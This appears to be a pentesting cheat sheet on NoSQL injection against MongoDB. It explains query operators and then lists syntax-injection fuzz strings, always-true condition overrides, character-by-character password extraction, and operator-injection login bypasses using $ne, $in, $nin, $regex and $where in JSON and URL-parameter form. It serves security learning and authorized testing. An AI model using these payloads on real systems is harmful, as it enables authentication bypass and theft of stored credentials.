NoSQL Injection
Similar to SQL injection, NoSQL injection targets databases that don’t follow traditional relational table structures. If untrusted user input is directly included in a NoSQL query, an attacker may be able to modify the query’s logic.
NoSQL injection affects NoSQL database such as MongoDB, Apache Cassandra.
There are two main types of NoSQL injection:
- Syntax Injection: Breaking out of the intended query structure to alter its behaviour.
- Operator Injection: Injecting NoSQL-specific operators (e.g.,
$ne,$gt) to manipulate query results or bypass conditions.
MongoDB
Section titled “MongoDB”MongoDB is a NoSQL database that stores data in documents instead of tables. Each document uses a key-value pair structure. e.g.
{ "_id" : ObjectId("5f077332de2cdf808d26cd74"), "username" : "lphillips", "first_name" : "Logan", "last_name" : "Phillips", "age" : "65", "email" : "lphillips@example.com"}Documents are grouped into collections, and multiple collections form a database.
Querying database
Section titled “Querying database”['last_name' => 'Sandler']['gender' => 'male', 'last_name' => 'Phillips']['age' => ['$lt'=>'50']]Query Operators
Section titled “Query Operators”$where- Matches documents that satisfy a JavaScript expression.$ne- Matches all values that are not equal to a specified value.$in- Matches all of the values specified in an array.$regex- Selects documents where values match a specified regular expression.
Exploit
Section titled “Exploit”Syntax Injection
Section titled “Syntax Injection”Testing how the application parses and handle unexpected input
Injecting in the url:
'"`{ ;$Foo} $Foo \xYZInjecting in json:
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000Fuzzing individual characters
'"\{}[]:,$.;()Testing conditional behaviour
The backend my run something like:
this.category == 'Gifts' && this.limit == 3Overriding existing conditions
' && 1 == 1' && '1' == '1' || 1 == 1' || '1' == '1' || 1 || '' || '1' == '1Extract the password character by character.
admin' && this.password[0] == 'a' || 'a'=='bCheck if password contains digits
admin' && this.password.match(/\d/) || 'a'=='bOperator Injection
Section titled “Operator Injection”{ "username": "admin", "password": { "$ne": "xyz" }}username=admin&password[$ne]=xyz{ "username": { "$in":[ "admin", "ADMIN" ] },
"password":{ "$ne": "xyz" }}username[$in][]=admin&username[$in][]=ADMIN&password[$ne]=xyz{ "username":{ "$nin":[ "admin", "ADMIN", "wiener" ] },
"password":{ "$ne": "xyz" }}username[$nin][]=admin&username[$nin][]=ADMIN&username[$nin][]=wiener&password[$ne]=xyz$regex
Section titled “$regex”Start with s:
"$regex": "^s"Character length:
"$regex": "^.{7}$"Guessing word
"$regex": "^c.......$"$where
Section titled “$where”Return first object and first character is a
"$where":"Object.keys(this)[0].match('^.{0}a.*')"Find length
"$where":"Object.keys(this)[0].length == 1"Finding the value
"$where": "this[Object.keys(this)[4]][0] == 'a'"